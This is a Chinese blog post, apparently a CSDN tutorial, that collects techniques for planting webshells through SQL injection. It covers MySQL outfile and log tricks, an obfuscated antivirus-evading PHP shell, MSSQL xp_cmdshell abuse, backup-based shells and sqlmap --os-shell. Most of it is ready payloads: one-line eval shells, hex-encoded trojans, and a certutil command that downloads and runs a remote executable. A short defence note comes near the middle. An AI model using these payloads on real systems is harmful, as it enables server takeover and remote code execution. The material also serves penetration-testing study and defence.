SQL注入写webshell

SQL注入写webshell

1.MySQL写shell

写入WebShell的几种方式

1、利用Union select 写入

需要满足的条件

  • 对web目录有写权限
  • GPC关闭(GPC:是否对单引号转义)
  • 有绝对路径(读文件可以不用,写文件需要)
  • 没有配置secure-file-priv
?id=1 union select '<?php assert($_POST["cmd"]);?>’ into outfile 'D:/WWW/evil.php'

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'D:/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "D:/WWW/evil.php"

2、利用分隔符写入

?id=1 into outfile 'D:/WWW/evil.php' fields terminated by '<?php assert($_POST["cmd"]);?>'

?id=1 into outfile 'D:/WWW/evil.php' lines terminated by '<?php phpinfo() ?>'--+

?id=1 LIMIT 0,1 INTO OUTFILE 'D:/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+

同样的技巧,一共有四种形式

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

需要满足的条件

  • 对web目录有写权限
  • GPC关闭(GPC:是否对单引号转义)
  • 有绝对路径(读文件可以不用,写文件需要)
  • 需要能执行多行SQL语句
show variables like '%general%';            	 # 查看配置

set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。

set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址

select '<?php eval($_GET[g]);?>'             	 # 写入shell

set global general_log=off;                  	 # 关闭general log模式

在高版本的mysql中默认为NULL,就是不让导入和导出

解决办法:

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

使用慢查询日志绕过此限制

show variables like '%slow_query_log%';			#查看慢查询日志开启情况

set global slow_query_log=1						#开启慢查询日志

set global slow_query_log_file='D:/phpStudy/WWW/evil.php;    #修改日志文件存储的绝对路径

'<?php @eval($_POST[1]);?>' or sleep(11);		#写入shell

show global variables like '%long_query_time%'; #使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间

免杀shell

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>"

4.高权限文件读取

load_file()读文件——select load_file(‘目录’)。路径使用\\ ,否则会被当作转义符号。

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

防御姿势

设置 secure_file_prive = null (不允许导入和导出)
防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

2.MSSQL写shell

绝对路径写webshell

找绝对路径的方法:

  • 报错信息
  • 配置文件
  • cmd命令搜索文件
  • 找旁站路径
  • xp_dirtree
  • xp_subdirs
  • 修改404页面
  • 爆破路径

1.xp_cmdshell

通过堆叠注入开启xp_cmdshell,xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下

exec sp_configure 'show advanced options', 1;   //开启高级选项
RECONFIGURE; 									//配置生效
exec sp_configure'xp_cmdshell', 1; 				//开启xp_cmdshell
RECONFIGURE; 									//配置生效

可以通过exec sp_configure查看xp_cmdshell状态:

exec sp_configure

执行系统命令:

exec master..xp_cmdshell 'whoami';

获取webshell:

exec master..xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'

此处注意><符号的转义,网页编码和数据库编码一般是相同的,中文一般都要URL编码

获取webshell,通过windows的多种cmd下载文件的方式,下载远程的可执行文件,通过该方式可用于反弹shell

# 下载恶意程序
exec master.dbo.xp_cmdshell 'cd c:\\www & certutil -urlcache -split -f http://ip/file.exe';
执行程序
exec master.dbo.xp_cmdshell 'cd c:\\www & file.exe';

使用结束后,可自行关闭xp_cmdshell

关闭xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1;   //开启高级选项
RECONFIGURE; 									//配置生效
exec sp_configure'xp_cmdshell', 0; 				//关闭xp_cmdshell
RECONFIGURE; 									//配置生效

2.恢复xp_cmdshell:

判断是否xp_cmdshell存储过程,返回1代表存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

xp_cmdshell是有可能被管理员手动删除的(尤其是SQL Server2005之前默认开启的版本),以下是删除xp_cmdshell的命令:

exec master..sp_dropextendedproc xp_cmdshell;

当然,即使xp_cmdshell被删除,也是有办法恢复xp_cmdshell的:

exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;

恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:

如果有上传权限,可以上传xplog70.dll,并执行:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

3.数据库差异备份getshell

备份拿shell算是常见,但往往备份后包含木马的文件很大。

注意:目标路径必须有写权限

# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;

backup database db_name to disk = "目标文件路径.bak";			# 将数据库备份至文件中

create table test (a image);								# 创建临时表

insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);# 写入木马

backup database db_name to disk = '目标文件路径.asp' with differential,format;     # 重新备份,木马写入文件

4.日志差异备份getshell

​ 可不需要sa权限,如果不能备份,可能是访问权限问题,可切换目录尝试;如果临时表存在也可能导致失败,可先判断临时表是否存在,再尝试。

条件:

  • 数据库之前备份过
  • 恢复模式是完整模式
  • 目标路径有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;

alter database db_name set RECOVERY FULL;		# 将数据库的恢复模式设置为完整模式

create table temp (a image);					# 创建临时表	

backup log db_name to disk = '任意绝对路径.bak' with init;	# 备份数据库日志,并写入文件中

insert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E); # 在临时表中插入木马字符串

backup log db_name to disk = '木马的绝对路径.aspx';			# 将含有木马字符串的日志备份写入文件中

3.sqlmap拿shell

使用sqlmap的os-shell的功能

前提是必须爆出网站的物理路径:此方法比较多,比如:PHPinfo文件,访问错误报路径,debug调试开启爆路径等。

sqlmap.py -r filename.txt --os-shell
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --os-shell

选择网站的语言(默认PHP)

在这里插入图片描述

输入网站的绝对路径

在这里插入图片描述

查看权限

使用命令:

whoami
ipconfig
net user

在这里插入图片描述

  • 2
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值